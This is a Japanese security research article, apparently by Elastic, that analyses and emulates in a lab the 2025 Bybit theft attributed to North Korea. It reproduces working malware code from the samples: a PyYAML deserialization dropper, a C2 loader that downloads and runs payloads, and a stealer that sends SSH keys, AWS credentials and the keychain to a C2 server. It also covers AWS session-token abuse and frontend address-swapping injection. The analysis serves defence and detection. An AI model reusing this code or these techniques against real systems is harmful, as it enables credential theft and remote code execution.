重要なポイント
この調査から得られた主なポイント:
- PyYAML は初期アクセスベクトルとして逆シリアル化されました
- この攻撃では、セッショントークンの悪用とAWSの横移動が利用されました
- 静的サイトのサプライチェーンの改ざん
- macOSでのDockerベースのステルス
- Elasticによるエンドツーエンドの検出相関
はじめに
2025年2月21日、業界最大級の仮想通貨取引所であるByBitから約40万ETHが消滅し、仮想通貨の世界は揺らぎました。この信じられないような窃盗の背後には、 TraderTraitorと呼ばれる北朝鮮のエリートサイバー攻撃部隊があると考えられています。TraderTraitor は、マルチシグ (マルチシグネチャ) ウォレット プラットフォームである Safe{Wallet} との信頼関係を利用して、日常的な取引を 10 億ドル規模の強盗に変えました。サプライチェーンの標的化は、北朝鮮のサイバー戦略の特徴となっており、2017年以降、北朝鮮政権が 60億ドル 以上の暗号通貨を盗むことを支えています。この記事では、この攻撃を分析し、制御された環境内でその戦術を慎重にエミュレートし、Elasticの製品と機能を使用してサイバーセキュリティ防御を強化するための実践的な教訓を提供します。
この脅威のエミュレーションは、Sygnia、Mandiant/SAFE、SlowMist、Unit42が発表した調査に基づいています。
イベントの年表
技術的なエミュレーションの詳細については、先に進んでください。しかし、文脈のために、そして公式に報告されたことを明確にするために、上記の研究に基づいて仮定を根拠にするために、イベントの高レベルのタイムラインをまとめました。
2025年2月2 日 – インフラストラクチャのセットアップ
攻撃者はドメイン getstockprice[.]コムNamecheap経由。このインフラストラクチャは、後で初期アクセスペイロードのC2エンドポイントとして使用されます。
2025年2月4日 – 最初の妥協点
Developer1 の macOS ワークステーションは、悪意のある Python アプリケーションを実行した後、侵害されました。このアプリケーションにはDocker関連のロジックが含まれており、攻撃者のドメインを参照していました。ファイルパス(~/Downloads/
)とマルウェアの動作は、ソーシャルエンジニアリングを示唆しています(おそらくTelegramまたはDiscordを介して、過去の REF7001 やUNC4899の手口と一致しています)。
2025年2月5日 – AWSの侵入開始
攻撃者は、Developer1 のアクティブな AWS セッショントークンを使用して、Safe{Wallet} の AWS 環境に正常にアクセスします。攻撃者は、自分の仮想 MFA デバイスを Developer1 の IAM ユーザーに登録しようと試み (失敗) し、永続化の試みを示しています。
2 月 5 日から 17 日: AWS 環境内で偵察活動が開始されます。この間、攻撃者の行動には、IAMロール、S3バケット、その他のクラウド資産の列挙が含まれていた可能性があります。
2025年 2 月 17 日 – AWS Command and Control アクティビティ
AWSで確認されたC2トラフィック。これは、攻撃の受動的な偵察から積極的なステージングへの移行を示しています。
2025年2月19 日 – Webアプリケーションの改ざん
Wayback Machine によってキャプチャされた app.safe.global(Safe{Wallet} の静的にホストされた Next.js Web アプリ)のスナップショットは、悪意のある JavaScript の存在を示しています。このペイロードは、Bybitのマルチシグトランザクションを検出し、それをその場で変更して、資金を攻撃者のウォレットにリダイレクトするように作成されました。
2025年2月21 日 – 実行とクリーンアップ
エクスプロイト取引は、侵害されたSafe{Wallet}フロントエンドを介してBybitに対して実行されます。
新しいWayback Machineのスナップショットは、JavaScriptペイロードが削除されたこと、つまり攻撃者が実行後に手動でスクラブしたことを示しています。
Bybitの強盗取引が確定しました。約400,000ETHが盗まれました。その後のSygniaらによる分析により、Bybitのインフラストラクチャは直接侵害されたわけではなく、Safe{Wallet}が唯一の障害点であったことが確認されました。
エミュレーションの前提条件
- 初期のソーシャルエンジニアリングベクトル:ソーシャルエンジニアリングを使用してDeveloper1を侵害し、悪意のあるPythonスクリプトを実行しました。ソーシャルエンジニアリングの戦術(特定のメッセージング、なりすまし技術、使用されたコミュニケーションプラットフォームなど)の正確な詳細は不明のままです。
- ローダーと第 2 段階のペイロード: 悪意のある Python スクリプトが第 2 段階のローダーを実行しました。このローダーとその後のペイロードが、初期アクセスのPythonアプリケーションの特性が一致しているにもかかわらず、Unit42のレポートに詳述されているものと一致するかどうかは現在のところ不明です。
- 安全なアプリケーションの構造とワークフロー: 侵害されたアプリケーション (
app.global.safe
) は、AWS S3 で静的にホストされているNext.jsアプリケーションのようです。ただし、正確なルート、コンポーネント、開発プロセス、バージョン管理方法、本番環境のデプロイワークフローなど、具体的な詳細は不明です。 - JavaScript ペイロードのデプロイ: 攻撃者は悪意のある JavaScript を Safe{Wallet} アプリケーションに注入しましたが、これがアプリケーション全体の再構築と再デプロイによるものなのか、それとも単に特定の JavaScript ファイルを上書き/変更しただけなのかは不明です。
- AWS IAM と ID 管理の詳細: AWS 内での Developer1 の IAM アクセス許可、ロール、およびポリシー設定に関する詳細は不明です。さらに、Safe{Wallet} が AWS IAM Identity Center を使用したのか、それとも別の ID 管理ソリューションを使用したのかは不明です。
- AWSセッショントークンの取得と使用:レポートでは、攻撃者が一時的なAWSセッショントークンを使用したことが確認されていますが、Developer1が最初にこれらのトークンを取得した方法(AWS SSO、
GetSessionToken
、または特定のMFA設定など)と、その後どのように保存または使用されたか(環境変数、AWS設定ファイル、カスタムスクリプトなど)の詳細は不明です。 - AWSの列挙と悪用の手法:2025年2月 5 日から2月17日の間にAWS環境内で攻撃者が実行した正確なツール、列挙方法、AWS API呼び出し、および特定のアクションは、まだ公開されていません。
- AWS永続化メカニズム:AWSインフラストラクチャ内での潜在的な永続性(EC2インスタンスの侵害など)の兆候がありますが、ツール、戦術、永続化方法などの明示的な詳細は提供されていません。
攻撃の概要
暗号エコシステム内の企業をターゲットにすることはよくあることです。北朝鮮は、暗号通貨の相対的な匿名性と分散型の性質により、これらの企業を継続的に標的にしており、政権が世界的な金融制裁を回避することを可能にしています。北朝鮮の攻撃的なサイバーグループは、脆弱性の特定と悪用に優れており、数十億ドルの損失をもたらしています。
この侵入は、ByBitの信頼できるマルチシグネチャウォレットプロバイダーであるSafe{Wallet}の開発者のMacOSワークステーションを 標的にした侵害 から始まりました。初期アクセスにはソーシャルエンジニアリングが含まれ、過去のキャンペーンに基づいてLinkedIn、Telegram、Discordなどのプラットフォームを介して開発者にアプローチし、暗号をテーマにしたPythonアプリケーションを含むアーカイブファイルをダウンロードするように説得しました。このPythonアプリケーションには、特権コンテナ内で実行できるアプリケーションのDocker化バージョンも含まれていました。開発者には知られていませんが、この一見無害なアプリケーションにより、北朝鮮のオペレーターはPyYAMLライブラリのリモートコード実行(RCE) の脆弱性 を悪用し、コード実行機能を提供し、その後、ホストシステムを制御することができました。
開発者のマシンに最初にアクセスした後、攻撃者は、macOS環境向けの高度なステルス性と広範なポストエクスプロイト機能を提供する堅牢なGolangベースのペイロードである MythicC2の Poseidonエージェントを展開しました。その後、攻撃者は偵察を行い、開発者がSafe{Wallet}のAWS環境にアクセスし、多要素認証(MFA)によって保護された一時的なAWSユーザーセッショントークンを使用していることを発見した可能性があります。開発者のAWSアクセスキーID、シークレットキー、一時的なセッショントークンを武器に、脅威アクターは約 24 時間以内にSafe{Wallet}のAWS環境に認証され、セッショントークンの12時間の有効性を利用しました。
AWS環境への永続的なアクセスを確保しようとして、攻撃者は自分のMFAデバイスを登録しようとしました。ただし、AWS の一時セッショントークンでは、 MFA 認証コンテキストのない IAM API 呼び出しが許可されないため、この試行は失敗します。この小さな失敗の後、脅威アクターは AWS 環境を列挙し、最終的に Safe{Wallet} の静的な Next.js ユーザーインターフェースをホストする S3 バケットを発見しました。
その後、攻撃者はこのNext.jsアプリケーションのバンドルされたコードをダウンロードし、悪意のあるJavaScriptをプライマリJSファイルに挿入し、S3バケットでホストされている正当なバージョンを上書きする前に、その機能を分析するのに約2週間を費やした可能性があります。悪意のあるJavaScriptコードは、Bybitのコールドウォレットアドレスと攻撃者が制御するアドレスから開始された取引でのみアクティブ化されました。ハードコードされたパラメータを挿入することで、スクリプトはトランザクション検証チェックとデジタル署名検証を回避し、Safe{Wallet}インターフェースを暗黙のうちに信頼していたByBitウォレット承認者を効果的に欺きました。
その直後、北朝鮮は不正な取引を開始し、悪意のあるスクリプトをトリガーして取引の詳細を変更しました。この操作は、ウォレットの署名者を誤解させて不正な送金を承認させるのに役立ち、それによって北朝鮮の工作員に約400,000ETHの制御を許可した可能性があります。これらの盗まれた資金は、攻撃者が管理するウォレットに洗浄されました。
私たちは、Next.jsアプリケーションの妥協点で研究と行動エミュレーションを終了することを選択しました。したがって、ETHスマートコントラクト、コントラクトアドレス、他のいくつかの研究出版物で議論されているスイープETHコールなどのブロックチェーン技術には触れません。
攻撃のエミュレート
この侵害を真に理解するために、私たちは制御されたラボ環境で攻撃チェーン全体をエミュレートすることにしました。Elasticのセキュリティリサーチャーとして、私たちは攻撃者の足跡をたどり、コードの実行からAWSセッションのハイジャック、ブラウザベースのトランザクション操作まで、各段階でこの操作がどのように展開されたかを理解したいと考えました。
この実践的なエミュレーションには、2つの目的がありました。まず、攻撃をきめ細かく技術レベルで分析し、実用的な検出と防止の機会を明らかにすることができました。次に、Elasticの機能をエンドツーエンドでテストする機会を得ました。つまり、Elasticのプラットフォームが攻撃の各フェーズを検知するだけでなく、それらを関連付けて防御側が行動に移せるようなまとまりのあるストーリーに結びつけることができるかどうかを確認できたことです。
MacOSエンドポイントの侵害
Unit42の詳細な記事作成、そしてさらに重要なことに、回収されたサンプルをVirusTotalにアップロードしたおかげで、実際に観測されたペイロードを使用して、攻撃をエンドツーエンドでエミュレートすることができました。これには以下が含まれます。
- PyYAML 逆シリアル化ペイロード
- Pythonローダースクリプト
- Python スティーラースクリプト
悪意のあるPythonアプリケーション
エミュレーションで使用した初期アクセスのPythonアプリケーションは、 SlowMist がハイライトして共有したサンプルと一致しており、SAFE開発者の侵害からMandiantの インシデント対応結果 によって裏付けられています。このアプリケーションは、Unit42が記事で示したアプリケーションのディレクトリ構造とも一致しました。攻撃者は、GitHubから正規の株式取引Pythonプロジェクトをフォークし、 data_fetcher.py
という名前のPythonスクリプト内にバックドアしました。
アプリケーションは Streamlit を利用して app.py
を実行し、スクリプト を data_fetcher.py
.
data_fetcher.py
スクリプトには、攻撃者が制御するドメインに到達するように設計された悪意のある機能が含まれています。
デフォルトでは、スクリプトは有効な株式市場関連データをフェッチします。ただし、特定の条件に基づいて、攻撃者が制御するサーバーは、代わりに悪意のあるYAMLペイロードを返すことができます。PyYAML の安全でないローダー (yaml.load()
) を使用して評価すると、このペイロードは任意の Python オブジェクトの逆シリアル化を可能にし、RCE を引き起こします。
PyYAML 逆シリアル化ペイロード
(VTハッシュ: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f
)
私たちは、Python+Flask WebアプリケーションでYAML逆シリアル化ペイロードをホストし、PythonAnywhereを使用して攻撃者のインフラストラクチャを模倣することで、この悪意のある設定を再現しました。data_fetcher.py
スクリプトの悪意のあるURLを、PythonAnywhereでホストされているYAMLペイロードを指すように更新しました。
PyYAML が悪意のある YAML ペイロードをロードして実行すると、次のアクションが実行されます。
まず、被害者のホームディレクトリに Public
という名前のディレクトリを作成します。
directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
次に、base64 でエンコードされた Python ローダー スクリプトをデコードし、Public
ディレクトリ内の __init__.py
という名前の新しいファイルに書き込みます。
filePath = os.path.join(directory, "__init__.py")
with open(filePath, "wb") as f:
f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))
最後に、新しく作成された __init__.py
スクリプトをバックグラウンドでサイレントに実行し、攻撃の第2段階を開始します。
subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)
Python ローダー スクリプト
(VTハッシュ: 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79
)
フォレンジック証拠を残さないように、ローダーは実行後に最初にファイル (__init__.py
) を削除し、メモリ内でのみ実行したままにします。
directory = os.path.join(home_directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
try:
body_path = os.path.join(directory, "__init__.py")
os.remove(body_path)
このローダーの主な目標は、コマンドアンドコントロール(C2)サーバーとの継続的な通信を確立することです。OSタイプ、アーキテクチャ、システムバージョンなどの基本的なシステム情報を収集し、これらの詳細をHTTP POSTリクエストを介してハードコードされた/club/fb/status URLエンドポイントに送信します。
params = {
"system": platform.system(),
"machine": platform.machine(),
"version": platform.version()
}
while True:
try:
response = requests.post(url, verify=False, data = params, timeout=180)
サーバーの応答 (ret 値) に基づいて、ローダーは次のステップを決定します。
ret == 0:
スクリプトは 20 秒間スリープし、ポーリングを続行します。
if res['ret'] == 0:
time.sleep(20)
continue
ret == 1:
サーバーの応答には、Base64 のペイロードが含まれます。スクリプトはこのペイロードをデコードし、ファイル (Windows の場合は init.dll
、それ以外の場合は init
) に書き込み、 ctypes.cdll.LoadLibrary
を使用してライブラリを動的に読み込みます。これにより、ペイロードはネイティブ バイナリとして実行されます。
elif res['ret'] == 1:
if platform.system() == "Windows":
body_path = os.path.join(directory, "init.dll")
else:
body_path = os.path.join(directory, "init")
with open(body_path, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
os.environ["X_DATABASE_NAME"] = ""
ctypes.cdll.LoadLibrary(body_path)
ret == 2:
このスクリプトは、Base64 コンテンツを Python ソースコードにデコードし、Python の exec()
関数を使用して実行します。これにより、任意のPythonコードを実行することができます。
elif res['ret'] == 2:
srcData = base64.b64decode(res["content"])
exec(srcData)
ret == 3:
このスクリプトは、バイナリペイロード (dockerd
) とバイナリ設定ファイル (docker-init
) を 2 つの別々のファイルにデコードし、それらのパーミッションを実行可能に設定してから、新しいプロセスとして実行を試み、設定ファイルをバイナリペイロードの引数として提供します。バイナリペイロードの実行後、実行可能ファイルは削除され、設定ファイルは参照用にディスクに残ります。
elif res['ret'] == 3:
path1 = os.path.join(directory, "dockerd")
with open(path1, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
path2 = os.path.join(directory, "docker-init")
with open(path2, "wb") as f:
binData = base64.b64decode(res["param"])
f.write(binData)
os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
try:
process = subprocess.Popen([path1, path2], start_new_session=True)
process.communicate()
return_code = process.returncode
requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
except:
pass
os.remove(path1)
ret == 9:
スクリプトはポーリングループから抜け出し、後続のアクションを終了します。
elif res['ret'] == 9:
break
コマンドを処理した後、スクリプトはC2サーバーからのさらなる指示をポーリングし続けます。
Python ローダー エミュレーション
私たちの目標は、ローダー内の各コマンド オプションをテストして、何が起こっているのかをよりよく理解し、関連するテレメトリ データを収集し、エンドポイントと SIEM の両方に対する堅牢な検出を構築する目的で分析することでした。
RET == 1: ライブラリをディスクに書き込み、Dylib をロードして削除する
このオプションに使用したペイロードは、共有ライブラリ (.dylib
) としてコンパイルされた Poseidon ペイロードでした。
次に、バイナリをbase64でエンコードし、この特定のローダーコマンドをテストするときに提供されるC2サーバーで、そのbase64でエンコードされたペイロードへのパスをハードコードすることができました。
base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD" # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1 # Change this value to test different actions
Mythic C2へのPoseidonペイロードコールバックを受け取ると、Poseidonが提供するさまざまな方法を使用して資格情報を取得することができました。
オプション 1: ダウンロード コマンド - ファイルにアクセスし、コンテンツを読み取り、データを C2 に送り返します。
オプション 2: getenv コマンド - ユーザー環境変数を読み取り、コンテンツを C2 に送り返します。
オプション 3: jsimport および jsimport_call コマンド - JXA スクリプトをメモリにインポートし、JXA スクリプト内のメソッドを呼び出してファイルから資格情報を取得し、内容を返します。
Ret == 2: プロセスメモリ内で任意のPythonコードを受け取り、実行する
(VTハッシュ: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7
)
ローダースクリプトを使用すると、メモリ内で任意のPythonコードまたはスクリプトを実行できます。Unit42のブログでは、この戻り値を介してDPRKが実行されていることを確認したPythonスクリプトを提供しました。このスクリプトは、膨大な量のデータを収集します。このデータは XOR エンコードされ、POST リクエストを介して C2 サーバーに送り返されます。エミュレーションに必要なのは、C2サーバーで定義されている適切なルートでC2 URLを追加し、このオプションがテストされたときのためにスクリプトのパスをサーバー内でハードコーディングするbase64エンコードだけでした。
def get_info():
global id
id = base64.b64encode(os.urandom(16)).decode('utf-8')
# get xor key
while True:
if not get_key():
break
base_info()
send_directory('home/all', '', home_dir)
send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
finalize()
break
ret == 3: バイナリペイロードとバイナリ設定をディスクに書き込み、ペイロードを実行し、ファイルを削除
ret == 3 では、標準の Poseidon バイナリペイロードと、ローダースクリプトで指定されているバイナリデータを含む "設定ファイル" を使用しました。次に、上記の ret == 1 オプションのようにバイナリファイルと設定ファイルの両方を base64 でエンコードし、このコマンドをテストするときに提供できるように、それらのパスを C2 サーバーにハードコードしました。上記の ret == 1 オプションと同様に、同じコマンドを使用してターゲット システムから資格情報を収集することができました。
C2インフラストラクチャ
Python+Flaskで構築された非常にシンプルで小さなC2サーバーを作成し、Kali Linux VMの指定されたポートでリッスンし、受信リクエストを評価し、テストしたいルートと戻り値に基づいて適切に応答することを目的としています。
また、使用したPoseidonペイロードの作成と管理を容易にするために、オープンソースの Mythic C2 も使用しました。Mythicは、 SpecterOps の Cody Thomas によって作成および保守されているオープンソースのC2フレームワークです。
悪意のあるPythonアプリケーション:Dockerバージョン
また、悪意のあるPythonアプリケーションのDocker化された亜種についても調査しました。このバージョンは、特権モードで実行される最小限のPython Dockerコンテナ(python:3.12.2-slim)にパッケージ化されており、ホストリソースにアクセスする機能が付与されています。
コンテナ化されたアプリケーションは、Appleのエンドポイントセキュリティフレームワーク(ESF)にコンテナ化されたプロセスをイントロスペクションする機能がないため、macOSにテレメトリと検出の盲点を作成します。ESFおよびエンドポイント検出ソリューションは、SSHキー、AWS認証情報、ユーザー設定データなどの機密性の高いホストファイルにアクセスする信頼できるDockerプロセスを引き続き監視できますが、これらのアクションは通常、標準的な開発者ワークフローと一致しています。その結果、セキュリティツールはコンテナ化されたアクティビティを精査したり、アラートをトリガーしたりする可能性が低くなり、攻撃者はDocker環境内から操作する際のステルス性を高めることができます。
これは、標準のmacOSエンドポイント防御を補完するために、 OSQuery や Docker ログファイルの収集などの追加の監視の必要性を浮き彫りにしています。Elastic は、Elastic Agentのデータ統合 とエンドポイント保護機能を通じて 、OSQuery と Docker の両方のログファイル収集を提供しています。
MacOSエミュレーションの結論
私たちのエミュレーションは、現実世界のペイロードを使用して、SAFE開発者のmacOSシステムに対する攻撃をエンドツーエンドで再現しました。
悪意のあるPythonアプリ:
まず、Mandiantの調査結果とUnit42のレポートの両方に記載されている悪意のあるPythonアプリケーションを複製することから始めました。攻撃者は、正規のオープンソースアプリケーションをフォークし、 data_fetcher.py
内にRCEアクセスを埋め込んでいました。このスクリプトは、攻撃者が制御するサーバーに送信リクエストを行い、条件付きで悪意のあるYAMLファイルをフェッチしました。PyYAMLの yaml.load()
と安全でないローダーを使用して、攻撃者は逆シリアル化を介して任意のコード実行をトリガーしました。
PyYAML ペイロードの逆シリアル化により、Python ローダー スクリプトが実行される:
YAML ペイロードは、base64 でエンコードされた第 2 ステージ ローダーを ~/Public/__init__.py
に書き込み、デタッチされたプロセスで実行しました。PythonAnywhereでホストされているFlaskベースのステージングサーバーを使用して、この正確なフローを模倣しました。
Python Loader の実行と C2 インタラクション:
起動されると、ローダーはディスク上のファイルを削除し、エミュレートされたC2にビーコンを送り、タスクを待機しました。C2 のレスポンスコード(ret
)に基づいて、次のアクションをテストしました。
- ret == 1: ローダーは Poseidon ペイロード (
.dylib
としてコンパイル) をデコードし、ctypes.cdll.LoadLibrary()
を使用して実行し、ディスクからネイティブコードを実行しました。 - ret == 2: ローダーは、Unit42 が共有するスクリプトと一致するインメモリ Python スティーラーを実行しました。このスクリプトは、システム、ユーザー、ブラウザ、および資格情報のデータを収集し、XOR エンコードされた POST リクエストを介してそれを流出させました。
- ret == 3: ローダーは Poseidon バイナリと別のバイナリ設定ファイルをディスクに書き込み、その設定を引数としてバイナリを実行し、ペイロードを削除しました。
- ret == 9: ローダーはポーリングループを終了しました。
データ収集: Pre-Pivot Recon & Credential Access:
ret == 2 テスト中に、Python スティーラーは次の情報を収集しました。
- macOS システム情報 (
platform
,os
,user
) - Chromeユーザーデータ(ブックマーク、Cookie、ログインデータなど)
- SSH 秘密鍵 (
~/.ssh
) - AWS 認証情報 (
~/.aws/credentials
) - macOSキーチェーンファイル(
login.keychain-db
) - GCP/Kube設定ファイル
.config/
これは、クラウドの悪用に先立つピボット前のデータ収集をエミュレートし、北朝鮮の攻撃者が開発者のローカル環境からAWSの認証情報をどのように収集したかを反映しています。
その後、有効なAWSの認証情報を使用して、脅威アクターはクラウド環境に軸足を移し、この侵入の第2フェーズを開始しました。
AWSクラウドの侵害
前提条件とセットアップ
この攻撃のAWS段階を模倣するために、まずTerraformを活用して必要なインフラストラクチャを立ち上げました。これには、S3、IAM、および STS API へのアクセスを許可する過度に寛容な IAM ポリシーを持つ IAM ユーザー (開発者) を作成することが含まれていました。次に、ローカルでビルドされた Next.js アプリケーションを S3 バケットにプッシュし、シンプルな Safe{Wallet} フロントエンドをシミュレートして、サイトが稼働していることを確認しました。
Next.js
の選択は、元のS3バケットの静的サイトパス(https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js
悪意のあるコードを挿入する前に、既知のターゲットウォレットアドレスを使用してテストトランザクションを実行し、アプリケーションが期待どおりに応答したことを確認することで、サイトの整合性を検証しました。
一時的なセッション トークンの取得
開発者のmacOSワークステーションでの初期アクセスと侵害後のアクティビティに続いて、初期の仮定は、攻撃者がデフォルトのAWS設定場所( ~/.aws
やユーザー環境変数など)から資格情報を取得することに焦点を当てていました。後にUnit42のブログで、PythonスティーラースクリプトがAWSファイルを標的にしていたことが確認されました。これらの場所には、多くの場合、標準的な開発ワークフローで使用される長期的なIAM認証情報または一時的なセッショントークンが格納されます。ただし、公開レポートに基づくと、この特定の侵害には、長期的なIAM認証情報ではなく、AWSユーザーセッショントークンが含まれていました。エミュレーションでは、開発者として、仮想 MFA デバイスを IAM ユーザーに追加し、有効にしてから、ユーザーセッショントークンを取得し、認証情報を環境にエクスポートしました。Kali Linuxエンドポイントでは、敵対者が行ったように、AWS API呼び出しや開発者ボックスとのやり取りにExpressVPNを活用しました。
開発者は、 GetSessionToken APIオペレーションによって、またはAWS CLIを使用してAWS Single Sign-On(SSO)経由でログインすることにより、一時的なAWS認証情報を取得したと疑われます。どちらの方法でも、有効期間の短い認証情報がローカルにキャッシュされ、CLIまたはSDKベースのインタラクションに使用できます。これらの一時的な資格情報は、 ~/.aws
ファイルにキャッシュされるか、macOSシステム上の環境変数としてエクスポートされた可能性があります。
GetSessionToken シナリオでは、開発者は次のようにコマンドを実行します。
aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE" --duration-seconds 43200 --profile "$AWS_PROFILE" --output json
SSO ベースの認証シナリオでは、開発者は以下を実行した可能性があります。
aws configure sso
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`
どちらの方法でも、一時的な認証情報(アクセスキー、シークレット、セッショントークン)が ~/.aws
ファイルに保存され、設定されたAWSプロファイルで使用できるようになります。これらの認証情報は、上書きされない限り、AWS CLI などのツールや Boto3 などの SDK によって自動的に使用されます。いずれの場合も、マルウェアや攻撃者が開発者のmacOSシステムにアクセスした場合、これらの認証情報は環境変数、AWS設定キャッシュ、または認証情報ファイルから簡単に収集できたはずです。
これらの資格情報を取得するために、Developer1 は迅速な自動化のためのカスタム スクリプトを作成しました。AWSで仮想MFAデバイスを作成し、そのデバイスをDeveloper1ユーザーに登録した後、STSから GetSessionToken
呼び出され、返された一時的なユーザーセッションの認証情報をmacOSエンドポイントに環境変数として追加します(以下を参照)。
MFA デバイス登録の試行
ここでの重要な前提の 1 つは、開発者が MFA が有効になっているユーザーセッションを使用していたこと、または直接使用するか、カスタム管理の IAM ロールを引き受けることです。この仮定は、侵害された認証情報マテリアル - AWS の一時的なユーザー セッション トークンから導き出されます。これはコンソールから取得されるのではなく、STS からオンデマンドで要求されます。デフォルトでは GetSessionToken
または SSO から返される一時的な認証情報は、一定の時間後に期限切れになり、ASIA* プレフィックスを持つセッション トークンは、敵対者が短命であるが影響の大きい認証情報を取得したことを示唆しています。これは、Kubernetes、GCP、AWSの認証情報と設定が抽出され、再利用された以前のDPRKに起因する攻撃で見られた行動と一致しています。
Kaliの侵害されたIDを仮定する
AWSセッショントークンが収集されたら、攻撃者はそれをKaliLinuxシステムの標準のAWS資格情報の場所( ~/.aws/credentials
や環境変数など)に保存するか、使用中のツールによってはカスタムファイル構造に保存する可能性があります。AWS CLIはデフォルトで ~/.aws/credentials
変数と環境変数から読み取るようになっていますが、Boto3を利用するPythonスクリプトは、ほぼすべてのファイルまたはパスから認証情報を取得するように設定できます。侵害後の活動の速度と精度を考えると、攻撃者はAWS CLI、Boto3 SDKの直接呼び出し、またはCLIコマンドをラップするシェルスクリプトのいずれかを使用した可能性があります。
可能性は低いと思われますが、攻撃者はSigV4を使用してAWS APIリクエストに手動で署名しましたが、これは不必要に遅く、運用が複雑になるためです。また、公開ブログでは、セッショントークンの使用に関連付けられたユーザーエージェント文字列を公開していないことに注意することも重要です(例:aws-cli、botocoreなど)、攻撃者の正確なツールに不確実性が残ります。とはいえ、DRPKがPythonに依存していることと攻撃の速度を考えると、CLIまたはSDKの使用が最も合理的な仮定であることに変わりはありません。
手記: これは、Unit 42のRN Loader機能に関するブログの前に、Poseidonペイロードのエミュレーションで行いました。
AWS 認証モデルに関するニュアンスを明確にすることが重要です: セッショントークンを使用しても、セッションが最初に MFA で確立されている限り、 IAM API アクション ( CreateVirtualMFADevice のようなアクションを含む) へのアクセスは本質的にブロックされません。エミュレーションでは、MFA コンテキストを持つ盗まれたセッション トークンを使用して、この動作を再現しようとしました。興味深いことに、追加の MFA デバイスを登録しようとして失敗したため、明示的なポリシー制約など、セッション トークンによる MFA 登録を妨げる追加の保護手段が存在する可能性があること、またはこの動作の詳細がまだ曖昧すぎて、動作を誤って模倣したことが示唆されています。正確な失敗の理由は不明ですが、この動作は、セッションバウンドアクションに関連付けられたIAMポリシーと認証コンテキストをより深く調査する必要があります。
S3 アセット列挙
認証情報を取得した後、攻撃者はアクセス可能なAWSサービスを列挙した可能性があります。この場合、Amazon S3 は明確なターゲットでした。攻撃者は、侵害された ID がすべての地域で利用可能なバケットをリストアップし、トランザクション処理用のフロントエンド Next.js アプリケーションをホストしている Safe{Wallet} に関連付けられた公開バケットを特定しました。
攻撃者は、 app.safe[.]global
のコンテンツを提供する役割から S3 バケットを認識していたと推測されます。つまり、バケットの構造とアセットは、認証なしで公開またはダウンロードされる可能性があります。私たちのエミュレーションでは、静的サイトホスティングに使用される公開S3バケットからアセットを同期することで、同様の動作を検証しました。
Next.js アプリが悪意のあるコードで上書きされる
バケットを発見した後、攻撃者はaws s3 sync コマンドを使用して、バンドルされているフロントエンドJavaScriptアセットを含むすべてのコンテンツをダウンロードした可能性があります。2025年2月 5 日から2月19日にかけて、彼らはこれらのアセット、具体的には、main.<HASH>.js
や関連ルートなどのファイルの変更に焦点を当てているように見えました。これらは、ビルドプロセス中にNext.js
によって出力され、_next/static/chunks/pages/
ディレクトリに保存されます。これらのバンドルされたファイルには、トランスパイルされたアプリケーションロジックが含まれており、Sygniaのフォレンジックレポートによると、 _app-52c9031bfa03da47.js
という名前のファイルが悪意のあるコードの主要な注入ポイントでした。
Next.jsアプリケーションは、ビルドされると、通常、静的に生成されたアセットを next/static/
ディレクトリの下に格納し、JavaScript チャンクは /chunks/pages/
のようなフォルダに整理されます。この場合、攻撃者はおそらく、その構造を理解するためにJavaScriptバンドルをフォーマットして難読化を解除し、アプリケーションロジックをリバースエンジニアリングしました。ユーザーが入力したウォレットアドレスの処理を担当するコードを特定した後、 ペイロードを注入しました。このペイロードでは、入力されたウォレットアドレスがいくつかの既知のターゲットアドレスのいずれかと一致する場合、宛先をDPRKが制御するアドレスにサイレントに置き換え、ユーザーが気付くことなく資金をリダイレクトするという条件付きロジックが導入されました。
エミュレーションでは、入力された受信者アドレスが特定の値と一致するかどうかを確認するために TransactionForm.js
コンポーネントを変更することで、この動作を再現しました。その場合、アドレスは攻撃者が制御するウォレットに置き換えられました。これは、実際のスマートコントラクトの操作や実際の攻撃で使用されたデリゲート呼び出しの複雑さを反映しているわけではありませんが、侵害されたフロントエンドが暗号通貨トランザクションをサイレントにリダイレクトする方法を説明するための概念的な動作として機能します。
静的サイトの改ざんの影響とセキュリティ制御の欠如
この種のフロントエンドの改ざんは、分散型アプリケーション(dApps)が静的なクライアント側のロジックに依存してトランザクションを処理することが多いWeb3環境では特に危険です。S3バケットから提供されるJavaScriptバンドルを変更することで、攻撃者はバックエンドAPIやスマートコントラクトロジックを侵害することなく、アプリケーションの動作を破壊することができました。
